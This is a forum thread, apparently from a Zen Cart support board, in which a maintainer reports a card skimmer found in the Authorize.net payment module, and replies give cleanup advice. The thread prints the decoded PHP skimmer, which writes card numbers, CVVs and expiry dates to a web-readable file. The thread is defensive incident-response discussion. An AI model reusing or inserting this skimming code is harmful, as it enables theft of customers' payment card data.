Credit Card Hack

While doing some initial maintenance for a new client, I found an eval'd code-block that was inserted at the bottom of /includes/modules/payments/authorizenet_aim.php (it's been removed) that decoded into:

$fp=fopen('/home/account/public_html/folder_name/includes/modules/bluecart/no_account.html','a'); fwrite($fp,$_POST['howpay'].'OWNER:'.$_POST['authorizenet_aim_cc_owner'].'
NUMBER:'.$_POST['authorizenet_aim_cc_number'].'
CVV:'.$_POST['authorizenet_aim_cc_cvv'].'
MONTH:'.$_POST['authorizenet_aim_cc_expires_month'].'
YEAR:'.$_POST['authorizenet_aim_cc_expires_year'].'

'); fclose($fp);

The bluecart template is no longer used by the site and the no_account.html was accessible via direct http access to the site (it's been subsequently removed). The site started out as 1.3.9h, upgraded to 1.5.0, 1.5.1 and finally 1.5.4 earlier this year and is highly modified.

I've instructed the store-owner to change all cPanel and FTP passwords and to remove any Zen Cart admin accounts that are no longer needed. I also did a rudimentary search of the /images folder to see if there were any .php files present (there weren't).

The culprit obviously had knowledge of the site's file-system structure, right down to the base folder name.

Is there anything else I should be doing?

I'm assuming you've done a complete compare of all files against originals to look for any "unexpected" files or code-additions.
Main thing to find is a shell script (file or files) that they've added to give themselves a backdoor to the site.

Good idea checking the images folder; sometimes it's good to also verify that all those images are actually images and not actually PHP or CGI code with a .jpg extension.

Sometimes it's also good to know the datestamp of the affected file, to have an idea of when it was compromised, to then also access the server logs to look for "how" the file was compromised. (Granted, the more advanced shell scripts also allow the file timestamp to be tampered with thus hiding the truth and covering those tracks. But worth looking anyway.) Or even the date on the no_account.html file, for the last date it was added-to.

If it was done a long time ago, then hopefully whatever vector was used to gain entry has been plugged by the host.

It'd be even better if the site wasn't actually even using AIM for processing payments ... in which case the compromise was moot.

The timestamp on authorizenet_aim.php was 11/14/2015; the no_account.html file is updated each time someone checks out (whether or not they use the a.net service).

The file-comparison against default 1.5.4 is on my list. I should also mention that the file-system for the Zen Cart is shared with a WordPress installation; I've seen some reports that there might be avenues coming in that way as well.

Ya, highly likely that one of the many wordpress vulnerabilities was the attack vector.

Yummie! Unfortunately, the site's highly integrated with its WordPress sibling, so I'll just need to monitor the situation over time.